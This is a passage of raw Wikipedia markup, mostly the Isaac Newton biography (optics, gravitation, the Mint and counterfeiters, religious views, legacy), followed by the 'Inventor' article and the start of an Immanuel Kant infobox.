Newton discovered [[Newton's identities]], [[Newton's method]], classified polynomials of degree 3 in 2 variables, made substantial contributions to the theory of [[finite differences]], and was the first to use fractional indices and to employ coordinate geometry to derive solutions to diophantine equations. He approximated partial sums of the harmonic series by logarithms (a precursor to Euler's summation formula), and was the first to use power series with confidence and to revert power series. He discovered new formulae for [[pi]]. 

He was elected [[Lucasian professor]] of [[mathematics]] in 1669. In that day, any fellow of Cambridge or [[Oxford University|Oxford]] had to be an  ordained Anglican priest. However, the terms of the Lucasian professorship required that the holder ''not'' be active in the church (presumably so as to have more time for science). Newton argued that this should exempt him from the ordination requirement, and [[Charles II of England |Charles II]], whose permission was needed, accepted this argument. Thus a conflict between Newton's religious views and Anglican orthodoxy was averted.

====Optics====
From 1670 to 1672 he lectured on [[optics]]. During this period he investigated the [[refraction]] of [[light]], demonstrating that a [[Prism (optics)|prism]] could decompose [[white light]] into a [[optical spectrum|spectrum]] of colours, and that a [[Lens (optics)|lens]] and a second prism could recompose the multicoloured spectrum into white light. 
He also showed that the coloured light does not change its properties, by separating out a coloured beam and shining it on various objects.  Newton noted that regardless of whether it was reflected or scattered or transmitted, it stayed the same colour. Thus the colours we observe are the result of how objects interact with the incident ''already-coloured'' light, '''not''' the result of objects ''generating'' the colour. For more details, see [[Isaac Newton's early life and achievements#Newton's theory of colour|Newton's theory of colour]]. Many of his findings in this field were criticized by later theorists, the most well-known being [[Johann Wolfgang von Goethe]], who postulated his own colour theories.

[[Image:NewtonsTelescopeReplica.jpg|thumb|left|250px|A replica of Newton's 6-inch reflecting telescope of 1672 for the [[Royal Society]].]]

From this work he concluded that any refracting [[telescope]] would suffer from the [[dispersion (optics)|dispersion]] of light into colours, and invented a reflecting telescope (today, known as a [[Newtonian telescope]]) to bypass that problem. By grinding his own mirrors, using [[Newton's rings]] to judge the [[quality]] of the [[optics]] for his telescopes, he was able to produce a superior instrument to the refracting telescope, due primarily to the wider diameter of the mirror. (Only later, as glasses with a variety of refractive properties became available, did [[Lens (optics)#Chromatic aberration|achromatic]] lenses for refractors become feasible.) In 1671 the [[Royal Society]] asked for a demonstration of his reflecting telescope. Their interest encouraged him to publish his notes ''On Colour'', which he later expanded into his ''Opticks''. When [[Robert Hooke]] criticised some of Newton's ideas, Newton was so offended that he withdrew from public debate. The two men remained enemies until Hooke's death.

In one experiment, to prove that colour perception is caused by pressure on the eye, Newton slid a darning needle around the side of his eye until he could poke at its rear side, dispassionately noting &quot;white, darke&lt;!--sic--&gt; &amp; coloured circles&quot; so long as he kept stirring with &quot;y&lt;sup&gt;e&lt;/sup&gt; bodkin.&quot; &lt;!--Christianson is not clear on what Newton concluded from this--&gt;

Newton argued that light is composed of particles, but he had to associate them with [[wave]]s to explain the [[diffraction]] of light (''Opticks'' Bk. II, Props. XII-XX). Later physicists instead favoured a purely wavelike explanation of light to account for diffraction. Today's [[quantum mechanics]] restores the idea of &quot;[[wave-particle duality]]&quot;, although [[photon]]s bear very little resemblance to Newton's ''corpuscles'' (e.g., corpuscles refracted by accelerating toward the denser medium).

{{dubious}}
Newton is believed to have been the first to explain precisely the formation of the [[rainbow]] from water droplets dispersed in the [[Earth's atmosphere|atmosphere]] in a rain shower. Figure 15 of Part II of Book One of the ''Opticks'' shows a perfect illustration of how this occurs.

In his ''Hypothesis of Light'' of 1675, Newton posited the existence of the [[luminiferous aether|ether]] to transmit forces between particles. Newton was in contact with [[Henry More]], the [[Cambridge Platonists|Cambridge Platonist]] who was born in [[Grantham]], on [[alchemy]], and now his interest in the subject revived. He replaced the ether with occult forces based on [[Hermeticism|Hermetic]] ideas of attraction and repulsion between particles. [[John Maynard Keynes]], who acquired many of Newton's writings on alchemy, stated that &quot;Newton was not the first of the age of reason: he was the last of the magicians.&quot;{{citeneeded}} Newton's interest in alchemy cannot be isolated from his contributions to science {{fn|2}}. (This was at a time when there was no clear distinction between alchemy and science.) Had he not relied on the [[occult]] idea of [[action at a distance (physics)|action at a distance]], across a vacuum, he might not have developed his theory of gravity. (See also [[Isaac Newton's occult studies]].)

In 1704 Newton wrote ''[[Opticks]]'', in which he expounded his corpuscular theory of light. The book is also known for the first exposure of the idea of the interchangeability of [[mass]] and [[energy]]: &quot;Gross bodies and light are convertible into one another...&quot;. Newton also constructed a primitive form of a frictional [[electrostatic generator]], using a [[glass]] globe (Optics, 8th Query).

====Gravity and motion====
[[Image:NewtonsPrincipia.jpg|thumb|250px|right|Newton's own copy of his Principia, with hand written corrections for the second edition.]]
{{further|[[the writing of Principia Mathematica]]}}

In 1679, Newton returned to his work on [[classical mechanics|mechanics]], i.e., gravitation and its effect on the orbits of [[planet]]s, with reference to [[Johannes Kepler|Kepler's]] [[Kepler's laws of planetary motion|laws of motion]], and consulting with Hooke and [[John Flamsteed|Flamsteed]] on the subject. He published his results in ''De Motu Corporum'' (1684). This contained the beginnings of the laws of motion that would inform the ''Principia''.

The ''[[Philosophiae Naturalis Principia Mathematica]]'' (now known as the ''Principia'') was published on [[5 July]], [[1687]]{{fn|1}} with encouragement and financial help from [[Edmond Halley]]. In this work Newton stated the three universal laws of motion that were not to be improved upon for more than two hundred years. He used the Latin word ''gravitas'' (weight) for the force that would become known as [[gravity]], and defined the law of [[universal gravitation]]. In the same work he presented the first analytical determination, based on [[Boyle's law]], of the [[speed of sound]] in air.

With the ''Principia'', Newton became internationally recognised. He acquired a circle of admirers, including the [[Switzerland|Swiss]]-born mathematician [[Nicolas Fatio de Duillier]], with whom he formed an intense relationship that lasted until 1693. The end of this friendship led Newton to a [[nervous breakdown]].

===Later life===
[[Image:Newtonshair.JPG|left|thumb|229px|A lock of Newton's hair in [[Trinity College, Cambridge]].]]
{{details|Isaac Newton's later life}}

In the 1690s Newton wrote a number of religious tracts dealing with the literal interpretation of the [[Bible]]. [[Henry More]]'s belief in the [[infinity]] of the universe and rejection of [[Cartesian dualism]] may have influenced Newton's religious ideas. A manuscript he sent to [[John Locke]] in which he disputed the existence of the [[Trinity]] was never published. Later works — ''The Chronology of Ancient Kingdoms Amended'' (1728) and ''Observations Upon the Prophecies of Daniel and the Apocalypse of St. John'' (1733) — were published after his death. He also devoted a great deal of time to alchemy (see above){{fn|2}}.

Newton was also a member of the [[Parliament of England]] from 1689 to 1690 and in 1701, but his only recorded comments were to complain about a cold draft in the chamber and request that the window be closed.

Newton moved to [[London]] to take up the post of warden of the [[Royal Mint]] in 1696, a position that he had obtained through the patronage of [[Charles Montagu, 1st Earl of Halifax]], then [[Chancellor of the Exchequer]]. He took charge of England's great recoining, somewhat treading on the toes of Master Lucas (and finagling [[Edmond Halley]] into deputy comptroller of the temporary Chester branch). Newton became [[Master of the Mint]] upon Lucas' death in 1699. These appointments were intended as [[sinecure]]s, but Newton took them seriously, exercising his power to reform the currency and punish clippers and counterfeiters. He retired from his Cambridge duties in 1701. Ironically, it was his work at the Mint, rather than his contributions to science, which earned him a [[knighthood]]. Newton was knighted by [[Anne of Great Britain|Queen Anne]] in 1705.

Newton was made President of the [[Royal Society]] in 1703 and an associate of the French [[French Academy of Sciences|Académie des Sciences]]. In his position at the Royal Society, Newton made an enemy of [[John Flamsteed]], the [[Astronomer Royal]], by attempting to steal his catalogue of observations.

Newton died in [[London]] and was buried in [[Westminster Abbey]]. His niece, [[Catherine Barton Conduitt]]{{fn|3}}, served as his hostess in social affairs at his house on [[Jermyn Street]] in London; he was her &quot;very loving Uncle&quot; {{fn|4}}, according to his letter to her when she was recovering from [[smallpox]].

In later years there has been some speculation that Newton had [[Asperger syndrome]], a form of [[autism]]. See [[People speculated to have been autistic]].

==Religious views==
[[Image:Bolton-newton.jpg|thumb|right|Isaac Newton (''Bolton, Sarah K. Famous Men of Science. NY: Thomas Y. Crowell &amp; Co., 1889'')]]
{{main|Isaac Newton's religious views}}
{{see also|Isaac Newton's occult studies}}

The law of gravity became Newton's best-known discovery. He warned against using it to view the universe as a mere machine, like a great clock. He said, &quot;Gravity explains the motions of the planets, but it cannot explain who set the planets in motion. God governs all things and knows all that is or can be done.&quot;{{citeneeded}}

His scientific fame notwithstanding, the [[Bible]] was Newton's greatest passion. He devoted more time to the study of Scripture and [[Alchemy]] than to science, and said, &quot;I have a fundamental belief in the Bible as the Word of God, written by those who were inspired. I study the Bible daily.&quot;{{citeneeded}} Newton himself wrote works on [[textual criticism]], most notably ''[[An Historical Account of Two Notable Corruptions of Scripture]]''. Newton also placed the crucifixion of [[Jesus Christ]] at [[3 April]], AD [[33]], which is now the accepted traditional date. He also attempted, unsuccessfully, to find hidden messages within the Bible (See [[Bible code]]). Despite his focus in theology and alchemy, Newton tested and investigated these myths with the [[scientific method]], observing, hypothesizing, and testing his theories. To Newton, his scientific and religious experiments were one and the same, observing and understanding how the world functioned.

Newton is often characterized as a [[unitarianism|Unitarian]] and [[arianism|Arian]], rejecting the church's doctrine of [[Trinity|divine trinity]]. However, [[T.C. Pfizenmaier]] argued that he more likely held the [[Eastern Orthodox]] view of the Trinity rather than the Western one held by [[Roman Catholic]]s, [[Anglican]]s, and most [[Protestant]]s {{fn|7}}. In his own day, he was also accused of being a [[Rosicrucianism|Rosicrucian]] (as were many in the Royal Society and in the court of Charles II).{{fn|8}}  

In his own lifetime, Newton wrote more on religion than he did on natural science. He believed in a rationally immanent world, but he rejected the [[hylozoism]] implicit in Leibniz and [[Baruch Spinoza]]. Thus, the ordered and dynamically informed [[universe]] could be understood, and must be understood, by an active reason, but this universe, to be perfect and ordained, had to be regular.

===Newton's effect on religious thought===
[[Image:Newton-WilliamBlake.jpg|thumb|left|Newton, by [[William Blake]]]]
Newton and [[Robert Boyle]]’s mechanical philosophy was promoted by [[rationalist]] [[pamphleteer]]s as a viable alternative to the [[pantheism|pantheists]] and [[enthusiasm|enthusiasts]], and was accepted hesitantly by orthodox preachers as well as dissident preachers like the [[latitudinarian]]s.{{fn|9}} Thus, the clarity and simplicity of science was seen as a way to combat the emotional and [[metaphysics|metaphysical]] superlatives of both [[superstition|superstitious]] enthusiasm and the threat of [[atheism]]{{fn|10}}, and, at the same time, the second wave of English [[deism|deists]] used Newton's discoveries to demonstrate the possibility of a &quot;Natural Religion.&quot;  

The attacks made against pre-[[Age of Enlightenment|Enlightenment]] &quot;magical thinking,&quot; and the [[Christian mysticism|mystical elements of Christianity]], were given their foundation with Boyle’s mechanical conception of the [[universe]]. Newton gave Boyle’s ideas their completion through [[mathematical proof]]s, and more importantly was very successful in popularising them.{{fn|11}} Newton refashioned the world governed by an interventionist God into a world crafted by a God that designs along rational and universal principles.{{fn|12}} These principles were available for all people to discover, allowed man to pursue his own aims fruitfully in this life, not [[afterlife|the next]], and to perfect himself with his own rational powers.{{fn|13}} The perceived ability of Newtonians to explain the world, both physical and social, through logical calculations alone is the crucial idea in the disenchantment of Christianity.{{fn|14}} 

Newton saw God as the master creator whose existence could not be denied in the face of the grandeur of all creation {{fn|5}}{{fn|6}}{{fn|14}}  But the unforeseen [[Christian theology|theological]] consequence of his conception of God, as Leibniz pointed out, was that God was now entirely removed from the world’s affairs, since the need for intervention would only evidence some imperfection in God’s creation, something impossible for a perfect and [[omnipotent]] creator.{{fn|15}}   Leibniz's [[theodicy]] cleared God from the responsibility for ''&quot;[[Problem of evil|l'origine du mal]]&quot;'' by making God removed from participation in his creation. The understanding of the world was now brought down to the level of simple human reason, and humans, as [[Odo Marquard]] argued, became responsible for the correction and elimination of evil.{{fn|16}}

On the other hand, latitudinarian and Newtonian ideas taken too far resulted in the [[millenarian]]s, a religious [[faction]] dedicated to the concept of a mechanical universe, but finding in it the same enthusiasm and mysticism that the Enlightenment had fought so hard to extinguish.{{fn|17}}

==Newton versus the counterfeiters==
Newton estimated that 20% of the coins taken in during The [[Great Recoinage]] were [[counterfeit]]. Counterfeiting was treason, punishable by death by [[drawing and quartering]]. As gruesome as the penalties were, the courts were not arbitrary or capricious. The rights of free men had a long tradition in England and the crown had to prove its case to a jury. The law also allowed for [[plea bargaining]]. Convictions of the most flagrant criminals could be maddeningly impossible to achieve; however, Newton proved to be equal to the task. 

He assembled facts and proved his theories with the same brilliance in law that he had shown in science. He gathered much of that evidence himself, disguised, while he hung out at bars and taverns. For all the barriers placed to prosecution, and separating the branches of government, [[English law]] still had ancient and formidable customs of authority. Newton was made a [[justice of the peace]] and between June 1698 and Christmas 1699 conducted some 200 cross-examinations of witnesses, informers and suspects. During this time he obtained the confessions he needed and while he could not resort to open torture, whatever means he did use must have been fearsome because Newton himself later ordered all records of these interrogations to be destroyed. However he did it, Newton won his convictions and in February 1699, he had ten prisoners waiting to be executed.

Newton's greatest triumph as the king's attorney was against [[William Chaloner]]. Chaloner was a rogue with a devious intelligence. He set up phoney conspiracies of Catholics and then turned in the hapless conspirators whom he entrapped. Chaloner made himself rich enough to posture as a gentleman. Petitioning [[Parliament of England|Parliament]], Chaloner accused the Mint of providing tools to counterfeiters. (This charge was made also by others.) He proposed that he be allowed to inspect the Mint's processes in order to improve them. He petitioned Parliament to adopt his plans for a coinage that could not be counterfeited. All the time, he struck false coins, or so Newton eventually proved to a court of competent jurisdiction. On [[March 23]], 1699, Chaloner was [[hanged, drawn and quartered]].

==Enlightenment philosophers==
Enlightenment philosophers chose a short history of scientific predecessors—[[Galileo Galilei|Galileo]], Boyle, and Newton principally—as the guides and guarantors of their applications of the singular concept of [[Nature]] and [[Natural law|Natural Law]] to every physical and social field of the day. In this respect, the lessons of history and the social structures built upon it could be discarded.{{fn|19}}

It was Newton’s conception of the universe based upon Natural and rationally understandable laws that became the seed for Enlightenment [[ideology]]. [[John Locke|Locke]] and [[Voltaire]] applied concepts of Natural Law to political systems advocating intrinsic rights; the [[physiocrat]]s and [[Adam Smith]] applied Natural conceptions of [[psychology]] and [[self-interest]] to economic systems and the [[sociology|sociologists]] critiqued how the current [[social order]] fit history into Natural models of [[progress]].

==Newton's legacy==
[[Image:StatueOfIsaacNewton.jpg|thumb|left|Statue of Newton by [[Louis-François Roubiliac]] in the antechapel of [[Trinity College, Cambridge]]]]

Newton's [[Newton's laws of motion|laws of motion]] and gravity provided a basis for predicting a wide variety of different scientific or engineering situations, especially the motion of [[celestial bodies]]. His calculus proved vitally important to the development of further scientific theories. Finally, he unified many of the isolated physics facts that had been discovered earlier into a satisfying system of laws. Newton's conceptions of gravity and mechanics, though not entirely correct in light of Einstein's [[Theory of Relativity]], still represent an enormous step in the evolution of human understanding of the universe. For this reason, he is generally considered one of history's greatest scientists.

In 1717, the [[Kingdom of Great Britain]] went on to an unofficial [[gold standard]] when Newton, then Master of the Mint, established a fixed price of £3.17.10 ½d per standard (22 carat) [[troy ounce]], equal to £4.4.11 ½d per [[fine ounce]]. Under the gold standard the value of the [[pound (currency)|pound]] (measured in gold weight) remained largely constant until the beginning of the 20th century.

Newton is reputed to have invented the [[cat flap]]. This was said to be done so that he would not have to disrupt his optical experiments, conducted in a darkened room, to let his cat in or out.

[[Newtonmas]] is a holiday celebrated by some scientists as an alternative to [[Christmas]], taking advantage of the fact that Newton's birthday falls on [[25 December]].

In July 1992, the [[Isaac Newton Institute|Isaac Newton Institute for Mathematical Sciences]] was opened at Cambridge University - it is regarded as the [[United Kingdom]]'s national institute for mathematical research.

== Newton's Three Laws ==
The famous three laws of Newton, paraphrased.
# Newton's First law (also known as the Law of [[Inertia]]) states that an object at rest tends to stay at rest and that an object that is in motion tends to stay in motion unless acted upon by a net external force.
# Newton's Second law states that [[F=ma]], or [[force]] equals mass (in [[kilogram]]s) times [[acceleration]] (in metres per second squared (m/s²)). In other words, the acceleration produced by a net force on an object is directly proportional to the magnitude of the net force and inversely proportional to the mass.
# Newton's Third law states that whenever one body exerts a force on another, the second body exerts the same amount of force, in the opposite direction.

== Newton's apple ==
[[Image:Newton's tree, Botanic Gardens, Cambridge.JPG|thumb|right|A reputed descendant of Newton's apple tree, found in the Botanic Gardens in [[Cambridge]], [[England]].]]
A popular story claims that Newton was inspired to formulate his theory of universal gravitation by the fall of an apple from a tree.  Cartoons have gone further to suggest the apple actually hit Newton's head, and that its impact somehow made him aware of the force of gravity.  There is no basis to '''''that''''' interpretation, but the story of the apple may have something to it. John Conduitt, Newton's assistant at the royal mint and husband of Newton's niece, described the event when he wrote about Newton's life:
&lt;blockquote&gt;
In the year 1666 he retired again from Cambridge ... to his mother in Lincolnshire &amp; while he was musing in a garden it came into his thought that the power of gravity (which brought an apple from a tree to the ground) was not limited to a certain distance from earth, but that this power must extend much further than was usually thought. Why not as high as the Moon thought he to himself &amp; that if so, that must influence her motion &amp; perhaps retain her in her orbit, whereupon he fell a-calculating what would be the effect of that superposition... (Keesing, R.G., The History of Newton's apple tree, Contemporary Physics, 39, 377-91, 1998)
&lt;/blockquote&gt;

The question was not whether gravity existed, but whether it extended so far from Earth that it could also be the force holding the moon to its orbit. Newton showed that if the force decreased as the inverse square of the distance, one could indeed [http://www.phy6.org/stargaze/Sgravity/htm calculate the Moon's orbital period], and get good agreement. He guessed the same force was responsible for other orbital motions, and hence named it '''universal gravitation'''.

''(From earlier entry)'' &amp;nbsp; &amp;nbsp; A contemporary writer, [[William Stukeley]], recorded in his ''Memoirs of Sir Isaac Newton's Life'' a conversation with Newton in Kensington on [[15 April]] [[1726]], in which Newton recalled &quot;when formerly, the notion of gravitation came into his mind. It was occasioned by the fall of an apple, as he sat in contemplative mood. Why should that apple always descend perpendicularly to the ground, thought he to himself. Why should it not go sideways or upwards, but constantly to the earth's centre.&quot; In similar terms, [[Voltaire]] wrote in his ''Essay on Epic Poetry'' (1727), &quot;Sir Isaac Newton walking in his gardens, had the first thought of his system of gravitation, upon seeing an apple falling from a tree.&quot; These accounts are exaggerations of Newton's own tale about sitting by a window in his home ([[Woolsthorpe Manor]]) and watching an apple fall from a tree.

==Writings by Newton==
* ''[[Method of Fluxions]]'' (1671)
* ''[[De Motu Corporum in Gyrum]]'' (1684)
* ''[[Philosophiae Naturalis Principia Mathematica]]'' (1687)
* ''[[Opticks]]'' (1704)
* ''[http://www.pierre-marteau.com/currency/ed/newton-intro.html Reports as Master of the Mint]'' (1701-1725)
* ''[[Arithmetica Universalis]]'' (1707)
* ''[[An Historical Account of Two Notable Corruptions of Scripture]]'' (1754)
* ''Short Chronicle'', ''The System of the World'', ''Optical Lectures'', ''Universal Arithmetic'', ''The Chronology of Ancient Kingdoms, Amended'' and ''De mundi systemate'' were published posthumously in 1728.

==Notes==
&lt;div style=&quot;font-size: 90%&quot;&gt;
* {{fnb|1}} The remainder of the dates in this article follow the Gregorian calendar.
* {{fnb|2}} Westfall (pp. 530–531) notes that Newton apparently abandoned his alchemical researches.
* {{fnb|3}} Westfall, p. 44.
* {{fnb|4}} Westfall, p. 595.
* {{fnb|5}} ''Principia'', Book '''III'''; cited in; ''Newton’s Philosophy of Nature: Selections from his writings'', p. 42, ed. H.S. Thayer, Hafner Library of Classics, NY, 1953.
* {{fnb|6}} ''A Short Scheme of the True Religion'', manuscript quoted in ''Memoirs of the Life, Writings and Discoveries of Sir Isaac Newton'' by Sir David Brewster, Edinburgh, 1850; cited in; ''ibid'', p. 65.
* {{fnb|7}} Pfizenmaier, T.C., &quot;Was Isaac Newton an Arian?&quot; ''Journal of the History of Ideas'' '''68'''(1):57–80, 1997.
* {{fnb|8}} Yates, Frances A. ''The Rosicrucian Enlightenment.'' London: Routledge and Kegan Paul, 1972.
* {{fnb|8}} Jacob, Margaret C.  ''The Newtonians and the English Revolution: 1689-1720.'' p28.
* {{fnb|9}} Jacob, Margaret C.  ''The Newtonians and the English Revolution: 1689-1720.'' p37 and p44.
* {{fnb|10}} Westfall, Richard S. ''Science and Religion in Seventeenth-Century England.''  Yale University Press, New Haven: 1958. p200.
* {{fnb|11}} Fitzpatrick, Martin. ed. Knud Haakonssen. “The Enlightenment, politics and providence: some Scottish and English comparisons.”  ''Enlightenment and Religion: Rational Dissent in eighteenth-century Britain.''  Cambridge University Press, Cambridge: 1996. p64.
* {{fnb|12}} Frankel, Charles.  ''The Faith of Reason: The Idea of Progress in the French Enlightenment.''  King’s Crown Press, New York: 1948. p1.
* {{fnb|13}} Germain, Gilbert G.  ''A Discourse on Disenchantment: Reflections on Politics and Technology.'' p28.
* {{fnb|14}} Webb, R.K. ed. Knud Haakonssen. “The emergence of Rational Dissent.”  ''Enlightenment and Religion: Rational Dissent in eighteenth-century Britain.''  Cambridge University Press, Cambridge: 1996. p19.
* {{fnb|15}} Westfall, Richard S. ''Science and Religion in Seventeenth-Century England.'' p201.
* {{fnb|16}} Marquard, Odo.  &quot;Burdened and Disemburdened Man and the Flight into Unindictability,&quot; in ''Farewell to Matters of Principle.''  Robert M. Wallace trans. London: Oxford UP, 1989.
* {{fnb|17}} Jacob, Margaret C.  ''The Newtonians and the English Revolution: 1689-1720.'' p100-101.
* {{fnb|18}} Jacob, Margaret C.  ''The Newtonians and the English Revolution: 1689-1720.'' p61.
* {{fnb|19}} Cassels, Alan. ''Ideology and International Relations in the Modern World.''  p2.
* {{fnb|20}} Delambre, M. &quot;Notice sur la vie et les ouvrages de M. le comte J. L. Lagrange,&quot; in ''Oeuvres de Lagrange'', I. Paris, 1867, p. xx. [http://www.rit.edu/~flwstv/newton.html (cited by Fred L. Wilson)]
&lt;/div&gt;

==See also==
* [[History of calculus]]
* [[Newton v. Leibniz calculus controversy]]
* &quot;[[Standing on the shoulders of giants]]&quot;

==Resources==
===References===
&lt;div style=&quot;font-size: 80%&quot;&gt;
* {{cite book | authorlink = Eric Temple Bell | last = Bell | first = E.T. | title = Men of Mathematics | location = New York | publisher = Simon and Schuster | year = 1937 | id = ISBN 0671464000 }} [http://scidiv.bcc.ctc.edu/Math/Newton.html Excerpt]
* {{cite book | last = Christianson | first = Gale | title = In the Presence of the Creator: Isaac Newton &amp; his times | location = New York | publisher = Free Press | year = 1984 | id = ISBN 0029051908 }}
* {{Web reference | URL = http://www.wamu.org/audio/dr/03/06/r2030613.ram | title = interview with James Gleick: &quot;Isaac Newton&quot; (Pantheon) | work = WAMU's The Diane Rehm Show Friday, June 13, 2003 (RealAudio stream) | year = 2005 | date = March 8 }}
* {{Web reference | URL = http://www-history.mcs.st-andrews.ac.uk/Mathematicians/Newton.html | title = Sir Isaac Newton | work = School of Mathematics and Statistics, University of St. Andrews, Scotland | year = 2005 | date = March 8 }}
* {{Web reference | URL = http://www.newtonproject.ic.ac.uk/ | title = The Newton Project | work = Imperial College London | year = 2005 | date = March 8 }}
* {{cite book | last = Westfall | first = Richard S. | title = Never at Rest | publisher = Cambridge University Press | year = 1980, 1998 | id = ISBN 0521274354 }}
* {{cite book | last = Craig | first Sir John | title = Isaac Newton and the Counterfeiters | work = Notes and Records of the Royal Society (18) | publisher = London:The Royal Society | year = 1963 }}

===Further reading===
* [[John Maynard Keynes]], ''Essays in Biography'', W W Norton &amp; Co, 1963, paperback, ISBN 039300189X. Keynes had taken a close interest in Newton and owned many of Newton's private papers.
* Isaac Newton, ''Papers and Letters in Natural Philosophy'', edited by [[I. Bernard Cohen]] ISBN 0-674-46853-8 Harvard 1958,1978
* [[Michael H. Hart]], ''[[The 100]]'', Carol Publishing Group, July 1992, paperback, 576 pages, ISBN 0806513500
* Simmons, J, ''The giant book of scientists -- The 100 greatest minds of all time'', Sydney: The Book Company, (1996)
* Isaac Newton (1642-1727), ''The Principia'': a new Translation, Guide by I. Bernard Cohen ISBN 0-520-08817-4 University of California 1999 ''Warning: common mistranslations exposed!''
*[[David Berlinski|Berlinski, David]], ''Newton's Gift:How Sir Isaac Newton Unlocked the System of our World'', ISBN 0684843927 (hardback), also in paperback, Simon &amp; Schuster, 2000
* [[Stephen Hawking]], ed. ''On the Shoulders of Giants'', ISBN 0-7624-1348-5 Places selections from Newton's ''Principia'' in the context of selected writings by [[Copernicus]], [[Johannes Kepler|Kepler]], [[Galileo Galilei|Galileo]] and [[Albert Einstein|Einstein]].
* James Gleick, ''Isaac Newton'', Knopf, 2003, hardcover, 288 pages, ISBN 0375422331
* Gale E. Christianson, ''In the Presence of the Creator: Isaac Newton and His Times'' Collier MacMillan, 1984, 608 pages 
* Harlow Shapley, S. Rapport, H. Wright, ''A Treasury of Science''; &quot;Newtonia&quot; pp. 147-9; &quot;Discoveries&quot; pp. 150-4. Harper &amp; Bros., New York, 1946.
* William C. Dampier &amp; M. Dampier, ''Readings in the Literature of Science,'' Harper &amp; Row, New York, 1959.
&lt;/div&gt;

===External links===
{{wikiquote}}
{{wikisource author}}
{{commons|Isaac Newton}}
*[http://www-groups.dcs.st-and.ac.uk/~history/PictDisplay/Newton.html Portraits of Issac Newton]
*{{gutenberg author|id=Isaac_Newton|name=Isaac Newton}}
*[http://www.lucidcafe.com/library/95dec/newton.html ''Sir Isaac Newton Scientist and Mathematician'' by Lucidcafé]
*[http://www.dmoz.org/Science/Physics/History/People/Newton,_Isaac/ Isaac Newton Directory]
*[http://www.newtonproject.ic.ac.uk/ Newton Research Project]
*[http://www.skepticreport.com/astrology/newton.htm Rebuttal of Newton as an astrologer]
*[http://www.galilean-library.org/snobelen.html Newton Reconsidered], an interview with Newton scholar Stephen D. Snobelen at the Galilean Library
*[http://www.huntington.org/LibraryDiv/Newton/Newtonexhibit.htm March 5-June 12, 2005 Isaac Newton's personal copy of Principia on display at] [[Huntington Library]]
*[http://www.pierre-marteau.com/currency/ed/newton-intro.html Newton's Reports as Master of the Royal Mint]
*[http://www.pbs.org/wgbh/nova/newton/ Newton's Dark Secrets] [[Nova (TV series)|NOVA]] television programme.
* {{MacTutor Biography|id=Newton}}
*[http://plato.stanford.edu/entries/newton-stm/ Stanford Encyclopedia of Philosophy entry on Newton's views on space, time, and motion]
*[http://fermatslasttheorem.blogspot.com/2005/09/sir-isaac-newton.html Sir Isaac Newton] an article that traces his life and achievements.
*[http://www.tqnyc.org/NYC051308/index.htm Newton's Castle] Educational material about Newton
*[http://www.dlib.indiana.edu/collections/newton The Chymistry of Isaac Newton] Research about Isaac Newton's Alchemical writings
*[http://www.newton.cam.ac.uk/ The Isaac Newton Institute for Mathematical Sciences]

[[Category:Isaac Newton| ]]
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[[Category:Physicists|Newton,Isaac]]
[[Category:Presidents of the Royal Society|Newton, Isaac]]
[[Category:Unitarians|Newton, Isaac]]

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    <title>Industrial revolution</title>
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    <title>Inventor</title>
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      <text xml:space="preserve">An '''inventor''' is a person who creates new [[invention]]s, typically technical devices such as mechanical, electrical or software devices or methods. Although some inventors may also be [[scientist]]s, most of them are [[engineer]]s in fact as they base their work on the discoveries of other scientists, experimenting with practical applications and combinations of those discoveries, and with improvements and combinations of existing devices, to create new useful devices.

[[Inventor (patent)|Inventorship]] is a key determination in establishing [[patent]] rights. The system of patents was established to encourage inventors by granting limited-term, limited [[monopoly]] on inventions determined to be sufficiently [[Novelty (patent)|novel]], [[Inventive step and non-obviousness|non-obvious]], and [[Utility (patent)|useful]]. In the U.S. the patent right originates from the [[intellectual property clause]] of the [[United_States_Constitution/Article One|Constitution]].  

The capacity to invent can be developed. See [[TRIZ]], the theory of inventive [[problem-solving]].

== Etymology ==
The word &quot;inventor&quot; comes form the [[latin]] verb ''invenire'', ''invent-'', to find. [http://dictionary.reference.com/search?q=inventor&amp;db=*][http://www.m-w.com/cgi-bin/dictionary?book=Dictionary&amp;va=invent]

== Inventors clubs ==

Inventors clubs provide a support infrastructure for inventors, especially useful for lone inventors who otherwise may not have anyone impartial they can freely talk to about their inventions.

There are hundreds, if not thousands of such clubs around the world (see also national associations or local UK clubs on [http://www.wrti.org.uk/clubs WRTI Clubs], the web site of the [[Wessex Round Table of Inventors]]).

==See also==
* [[List of inventors]]
* [[List of engineers]]
* [[List of scientists]]
* [[History of Science and Technology]]
* [[Inventor's notebook]]
* [[Inventor (patent) | Inventorship]]
* [[Autodesk Inventor]] for the 3D modeling [[CAD]] [[application_software|application]]
* [[Inventor's Day]]

==External links==
*[http://eepatents.com/collection.html A collection of patents for pioneering electrical engineering technologies, including some by the inventors listed above]
* [http://www.inventions.org/ Inventors Assistance League] (Non-profit organization operating since 1963)
* Associations of inventors
** [http://www.erfinder.at/tag-der-erfinder/ European Inventor's Day (German)] (''Tag der Erfinder'') ([[Germany]])
** [http://www.inventor.hu/ Association of Hungarian Inventors (MAFE)] ([[Hungary]])
** [http://www.uppfinnareforeningen.se/ The Swedish Inventors' Association] ([[Sweden]])
** [http://www.wrti.org.uk Wessex Round Table of Inventors] ([[Wessex Round Table of Inventors|WRTI]]) ([[United Kingdom]])
** [http://www.communityconnection.org/resource_pages/42646.html Inventors Association of St. Louis (IASL)] ([[United States]])
** [http://www.younginventorsinternational.com/ Young Inventors International] (Non-profit organization helping inventors and innovators under the age of 35)

[[Category:Inventors|*]]
[[Category:Patent law]]

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{{Infobox_Philosopher |
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  region          = Western Philosophers |
  era             = [[18th-century philosophy]],&lt;br&gt;[[Age of Enlightenment]] |
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  image_caption   = Immanuel Kant in middle age |

  &lt;!-- Information --&gt;
  name             = Immanuel Kant|
  birth            = [[April 22]], [[1724]] ([[Königsberg]], [[Germany]]) (Now [[Kaliningrad]], [[Russia]]) |
  death            = [[February 12]], [[1804]] ([[Königsberg]], [[Germany]]) |
  school_tradition = [[Age of Enlightenment|Enlightenment]] |
  main_interests   = [[Epistemology]], [[Metaphysics]], [[Ethics]] |
  influences       = [[David Hume|Hume]], [[René Descartes|Descartes]], [[Nicolas Malebranche|Malebranche]], [[Gottfried Leibniz|Leibniz]], [[Baruch Spinoza|Spinoza]], [[John Locke|Locke]], [[George Berkeley|Berkeley]], [[Jean-Jacques Rousseau|Rousseau]] |
